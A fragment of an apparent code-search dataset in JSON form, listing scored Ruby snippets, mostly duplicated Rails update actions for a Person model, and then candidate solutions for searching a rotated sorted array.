"text": "def update\n\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59108cacd3b76a301cf947535550bf78",
"score": "0.6397865",
"text": "def update\n\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e179decb3ef2e691d4a91a75230bfeb",
"score": "0.63945925",
"text": "def update\n respond_to do |format|\n if @person.update_attributes(person_params)\n format.html { redirect_to(@person, :notice => 'Poeple was successfully updated.') }\n format.json { respond_with_bip(@person) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@person) }\n end\n end\n end",
"title": ""
},
{
"docid": "a560f4bff44d56c6fcaec8b57a64c8ef",
"score": "0.6386274",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n # Update spouse\n # if @person.spouse_id != nil and @person.spouse_id != @person.spouse.id\n # @person.spouse = Person.find(@person.spouse_id)\n # end\n \n format.json { render :show, status: :ok, location: @person }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd7591138eeec822a0c67ab00c4784ea",
"score": "0.63745254",
"text": "def update\n respond_to do |format|\n if @person.update(person_params) # save the changes of a person object\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.6373044",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend",
"title": ""
},
{
"docid": "81d99c844c8196864b0d84e585a28341",
"score": "0.6372075",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.json { render :show, status: :ok, object: @person }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc24860eb61ce0ebd1dfc6b05475dbfd",
"score": "0.6371703",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n post_activity @person, \"updated person #{@person.name}\"\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.63691247",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.63691247",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "c289b47bf14a4e370e99fe656a5ba525",
"score": "0.6367743",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person.user, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b84f0cd6052175b4610438fd5e6070ef",
"score": "0.6364658",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a35aff92864d00283e6b80bd14a59d8",
"score": "0.6364191",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0758c0c75f398a31c21393983fcfc0fe",
"score": "0.6339714",
"text": "def update\n respond_to do |format|\n if the_person.update(person_params)\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: the_person }\n else\n format.html { render edit_user_person_path(the_user, the_person) }\n format.json { render json: the_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5860095c82e00c6f5ac2a318af5727d",
"score": "0.63338804",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5175b5e5781b7553661fbdf78bd911dd",
"score": "0.6326289",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, info: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad32c42de9512eac2a97ce8511845103",
"score": "0.6321588",
"text": "def update\n @auth_person = Auth::Person.find(params[:id])\n\n respond_to do |format|\n if @auth_person.update_attributes(params[:auth_person])\n format.html { redirect_to @auth_person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auth_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19437534597efd17a76389a85b0c63fc",
"score": "0.6320135",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fac8679beb291a9b6e6066633196786d",
"score": "0.6315711",
"text": "def update\n respond_to do |format|\n if @new_person.update(new_person_params)\n format.html { redirect_to @new_person, notice: 'New person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @new_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f0686f191a0def3b6c3ad6edfbcf2f03",
"score": "0.631152",
"text": "def update_user(email)\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users/2.json'\n ).to_s\n\n puts RestClient.patch(\n url,\n { user: { email: email } }\n )\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.6311379",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.6311379",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "5cfa33b9a6ca93caf078d86a89ca86b4",
"score": "0.6307831",
"text": "def update\n @animal = Animal.find(params[:id])\n @people = Person.all\n\n respond_to do |format|\n if @animal.update_attributes(params[:animal])\n format.html { redirect_to @animal, notice: 'Animal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9aedd4f428a2c26c3fd57798526020",
"score": "0.6303111",
"text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end",
"title": ""
},
{
"docid": "059acc54e3b0704002105303f7c037a8",
"score": "0.6301121",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95e3b5a09867446c41975fe48cfdb6e4",
"score": "0.629825",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "998e07bbc5b519ebbf856f2be3fe2b0f",
"score": "0.62864596",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to people_path(:type => params[:type]), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c90050dffab98428c139bfcdb8d601f",
"score": "0.62792283",
"text": "def update\n\n # @person = @organization.people.find( params[:id])\n\n respond_to do |format|\n if @person.update( person_params )\n format.html { redirect_to [@organization, @person], notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fd5f00640bdb0c785bcac4689a46f3c",
"score": "0.62787366",
"text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.6273074",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "208547487aa86c6154901998ef735705",
"score": "0.62618005",
"text": "def update\n respond_to do |format|\n if @myperson.update(myperson_params)\n format.html { redirect_to @myperson, notice: 'Myperson was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @myperson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d394bb1960a2abe6f5248ff4147f37c4",
"score": "0.6254305",
"text": "def update\n respond_to do |format|\n if @person_person.update(person_person_params)\n format.html { redirect_to @person_person, notice: 'Person person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person_person }\n else\n format.html { render :edit }\n format.json { render json: @person_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "865962da3446bb0ea761784b3e525190",
"score": "0.6244438",
"text": "def update\n respond_to do |format|\n if @nice_person.update(nice_person_params)\n format.html { redirect_to @nice_person, notice: 'Nice person was successfully updated.' }\n format.json { render :show, status: :ok, location: @nice_person }\n else\n format.html { render :edit }\n format.json { render json: @nice_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc084096193cb20b2d876e0dce031567",
"score": "0.6238409",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(person_params)\n format.html { redirect_to person_games_path(@person), noticT: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a4dd3f4c4783c3eb4c2c0a1741bd9698",
"score": "0.62330204",
"text": "def update\n respond_to do |format|\n if @person_entity.update(person_entity_params)\n format.html { redirect_to @person_entity, notice: 'Person entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ab5e8db40f5e7d8a8e7b0bce7d8b58f",
"score": "0.6230714",
"text": "def update\n respond_to do |format|\n if @needy_person.update(needy_person_params)\n format.html { redirect_to @needy_person, notice: 'Needy person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @needy_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "657a58c3b44b5687f2c367faa32922a9",
"score": "0.6227848",
"text": "def update\n respond_to do |format|\n if @person_individual.update(person_individual_params)\n format.html { redirect_to @person_individual, notice: 'Person individual was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person_individual.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
9a190e5a45b0503a80f2c9806b575ca8
|
(i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2). How do you find an element in the rotated array efficiently?
|
[
{
"docid": "8bd110a01e532f98a22ba2d255d06fb4",
"score": "0.0",
"text": "def solve(array, value)\n ##Find pivot, split arrays, then binary search both sub arrays.\n split_index = nil\n\n array.each_with_index do |element, index|\n split_index = (index - 1) if array[index] < array[index - 1]\n end\n\n left = array.slice(0..split_index)\n right = array.slice((split_index + 1)..(array.size - 1))\n\n iterative_binary_search(left, value) && iterative_binary_search(right, value)\nend",
"title": ""
}
] |
[
{
"docid": "092803b389c07df7fc7692cbf1a6af4b",
"score": "0.7869684",
"text": "def search_and_rotate_array(array, rotations, num)\n found_index = binary_search(array,num)\n\n return found_index if found_index < 0\n\n if found_index > (array.size - 1 - rotations)\n #It was on a portion rotated back to the start\n return found_index - (array.size - rotations)\n else\n #It was on a portion not rotated back around\n return found_index + rotations\n end\nend",
"title": ""
},
{
"docid": "200e0ca783c40fa3a73c4d9889e7f640",
"score": "0.76958966",
"text": "def search_rotated_array(array, target)\n return nil if array.length == 0\n mid_idx = array.length/2\n mid_value = array[mid_idx]\n left_array = array.take(mid_idx)\n right_array = array.drop(mid_idx+1)\n return mid_idx if mid_value == target\n left = search(left_array, target)\n return left if left\n right = search(right_array, target)\n return right + 1 + mid_idx if right\nend",
"title": ""
},
{
"docid": "7388bc8c97ae0c50ec3ef88117407ca9",
"score": "0.76849055",
"text": "def search_in_rotated_array_a(arr, v, l = nil, r = nil)\n l ||= find_edge_index(arr)\n r ||= l + arr.size - 1\n\n m = (l + r) / 2\n curr = arr[m % arr.size]\n\n if curr == v\n return m % arr.size\n elsif l == r\n return nil\n elsif curr > v\n r = m - 1\n else\n l = m + 1\n end\n\n search_in_rotated_array_a(arr, v, l, r)\nend",
"title": ""
},
{
"docid": "18653ce0e673e15f12b461a8c11a646c",
"score": "0.7656928",
"text": "def search_rotated(arr, val)\n rec_search(arr, 0, arr.size-1, val)\nend",
"title": ""
},
{
"docid": "595c04d018b76fbe7b0a83ac0b257ef8",
"score": "0.7574665",
"text": "def search_rotated_array(arr, search_number)\n start_index = find_rotation_index arr\n\n if search_number > arr.first\n pointer_left = 0\n pointer_right = start_index - 1\n else\n pointer_left = start_index\n pointer_right = arr.length - 1\n end\n\n while pointer_left < pointer_right\n guess_index = (pointer_left + pointer_right) / 2\n return guess_index if arr[guess_index] == search_number\n\n if arr[guess_index] < search_number\n pointer_left = guess_index + 1\n else\n pointer_right = guess_index - 1\n end\n end\n\n -1\nend",
"title": ""
},
{
"docid": "e200653386fa201f6b64574f867b304e",
"score": "0.7559709",
"text": "def find_in_rotated_array(arr, num)\n return -1 unless arr\n return nil unless num\n\n start_ind = 0\n end_ind = arr.length - 1\n pivot = nil\n\n if arr[start_ind] < arr[end_ind]\n #array is not rotated do regular binary search\n else\n while start_ind <= end_ind\n mid = (start_ind + end_ind) / 2\n\n if arr[mid + 1] < arr[mid]\n pivot = mid\n break\n elsif arr[start_ind] < arr[mid]\n start_ind = mid + 1\n else\n end_ind = mid - 1\n end\n end\n end\n\n start_ind = 0\n end_ind = arr.length\n\n if num > arr[pivot] && num < arr[end_ind]\n start_ind = pivot\n elsif num < arr[pivot] && num > arr[0]\n end_ind = pivot\n end\n\n while start_ind <= end_ind\n mid = (start_ind + end_ind) / 2\n\n if arr[mid] == num\n return mid\n elsif arr[mid] < num\n start_ind = mid\n else\n end_ind = mid\n end\n end\n\n return -1\nend",
"title": ""
},
{
"docid": "ed04da24f424c82ec782d7547c6aa7a0",
"score": "0.75091916",
"text": "def rotated_array_search(nums, target)\n # YOUR WORK HERE\nend",
"title": ""
},
{
"docid": "12e826ffc956a1fbd687bd1942203b63",
"score": "0.74759835",
"text": "def search_in_rotated_array_b(arr, v, l = 0, r = arr.size - 1)\n i = (r + l) / 2\n move_left = true\n\n if arr[i] == v\n return i\n elsif l == r\n return nil\n elsif arr[i] < v\n move_left = false\n end\n\n if move_left\n search_in_rotated_array_b(arr, v, l, i - 1) || search_in_rotated_array_b(arr, v, i + 1, r)\n else\n search_in_rotated_array_b(arr, v, i + 1, r) || search_in_rotated_array_b(arr, v, l, i - 1)\n end\nend",
"title": ""
},
{
"docid": "58c8e2ab50f32c844e07d8b8c7f05710",
"score": "0.6985527",
"text": "def rotated?(original, arr)\n #check size\n if original.length != arr.length\n return false\n end\n\n #find first element of original in arr\n first_element_index = nil\n for i in 0...arr.length\n if (arr[i] == original[0])\n first_element_index = i\n puts \"first element index = #{i}\"\n break\n end\n end\n\n if (!first_element_index)\n return false\n end\n\n for i in 0...arr.length\n if (original[i] != arr[(i + first_element_index) % arr.length])\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "a1e31abc8f0ad6a415d5d5d83c4cdc03",
"score": "0.6680585",
"text": "def binary_search_array_count_rotations(array, start, finish)\n return if start > finish\n mid = (start+finish)/2\n # binding.pry\n size = array.size\n prev = (mid-1+size)%size\n nextt = (mid+1)%size\n # case1: if mid < prev and mid < next retrun mid position\n if array[mid] < array[prev] && array[mid] < array[nextt]\n return mid\n # Array is rotated either more times that that of mid or less that mid position\n else\n if array[mid] <= array[finish] # Right half is sorted\n finish = mid - 1 #Array is rotated less times that mid position\n else\n start = mid + 1 #Array is rotated more times that mid position\n end\n end\n binary_search_array_count_rotations(array, start, finish)\nend",
"title": ""
},
{
"docid": "88699d5bc5a735343b282d4b199decd7",
"score": "0.6573925",
"text": "def find_rotated(arr, val, start=0, finish=arr.length-1)\n return finish if arr[finish] == val\n return start if arr[start] == val\n\n mid = get_middle(start, finish)\n\n return mid if arr[mid] == val\n\n return find_rotated(arr, val, start, mid - 1) if (arr[start] > val && arr[mid] < val) || (arr[start] < val && arr[mid] > val)\n return find_rotated(arr, val, mid + 1, finish) if (arr[mid] > val && arr[finish] < val) || (arr[mid] < val && arr[finish] >= val)\n\n return nil\nend",
"title": ""
},
{
"docid": "e6a78216a43fba419a4f410b438d39e0",
"score": "0.6537966",
"text": "def binary_search_in_rotated_array(v, arr)\n\tlower = 0\n\tupper = arr.size - 1\n\twhile lower < upper\n\t\tmid = lower + (upper - lower) / 2\n\t\tif v == arr[mid]\n\t\t\tupper = mid\n\t\telsif arr[lower] <= arr[mid]\n\t\t\tif arr[lower] <= key && key < arr[mid]\n\t\t\t\tupper = mid\n\t\t\telse\n\t\t\t\tlower = mid + 1\n\t\t\tend\n\t\telsif arr[mid] <= arr[upper]\n\t\t\tif arr[mid] <= key && key < =arr[upper]\n\t\t\t\tlower = mid + 1\n\t\t\telse\n\t\t\t\tupper = mid\n\t\t\tend\n\t\tend\n\tend\n\treturn lower\nend",
"title": ""
},
{
"docid": "6eac50887b6dcfddab90cba75739fb45",
"score": "0.6480783",
"text": "def count_rotations(array)\n size = array.size\n start = 0\n finish = size - 1\n while start <= finish\n return start if array[start] <= array[finish]\n mid = start + (finish-start)/2\n nxt = (mid+1)%size\n prev = (mid+size-1)%size\n if array[mid] <= array[nxt] && array[mid] <= array[prev]\n return mid\n elsif array[mid] <= array[finish]\n finish = mid-1\n else\n start = mid+1\n end\n end\n return -1\nend",
"title": ""
},
{
"docid": "061674d0ef9b1588d7b9e29c4524c744",
"score": "0.63743925",
"text": "def count_rotations(array)\n start = 0\n finish = array.size-1\n rotations = binary_search_array_count_rotations(array, start, finish)\n rotations ||= 0\n puts \"array was rotated #{rotations} times\"\nend",
"title": ""
},
{
"docid": "589ceb1f3ca4b02d989ff35ae7a0d7dd",
"score": "0.63595736",
"text": "def rotLeft(a, d)\n # Time Complexity: O(n)\n # Space Complexity: O(n)\n\n rotated_arr = Array.new(a.size)\n\n a.each_with_index do |num, index|\n rotated_arr[index - d] = num\n end\n\n print rotated_arr\nend",
"title": ""
},
{
"docid": "69e4274bfec0a69809f008a6839c4fcb",
"score": "0.6351394",
"text": "def index_2\n left = 0\n right = @array.inject(:+)\n\n @array.each_with_index do |element, i|\n right -= element\n return i if left == right \n left += element\n end\n\n return -1 \n end",
"title": ""
},
{
"docid": "4fea32eb7ef7e9c09488892c31953e83",
"score": "0.63425916",
"text": "def find_element(array)\n result = 0\n (0...array.length).each do |i|\n if i == 0\n result += array[i]\n elsif array[i] == array[i-1]\n result -= array[i]\n else\n result += array[i]\n end\n end\n return result\nend",
"title": ""
},
{
"docid": "deec9781c3182122d89ad97a18dc34be",
"score": "0.6329837",
"text": "def array_rotation(array, rotations)\n result = []\n array.each_with_index do |num, i|\n complete_rotations = (i + rotations) / array.length\n moves_realised = complete_rotations * array.length\n remaining_moves = rotations - moves_realised\n result[i + remaining_moves] = num\n end\n result\nend",
"title": ""
},
{
"docid": "81a6499beff54a4dac7c573774ccca22",
"score": "0.63035095",
"text": "def solution(array, k)\n array.rotate(-k)\nend",
"title": ""
},
{
"docid": "cc42908d84830a979c8e98ca169241b8",
"score": "0.62735444",
"text": "def my_rotate(arr, offset=1)\n if offset < 0\n offset = (arr.length-1) - (offset.abs % arr.length-1)\n else\n offset = offset % arr.length\n end\n takes = arr.take(offset)\n drops = arr.drop(offset)\n result = drops + takes\nend",
"title": ""
},
{
"docid": "339eac50447b0ec1a1842fce0821f6a9",
"score": "0.62652683",
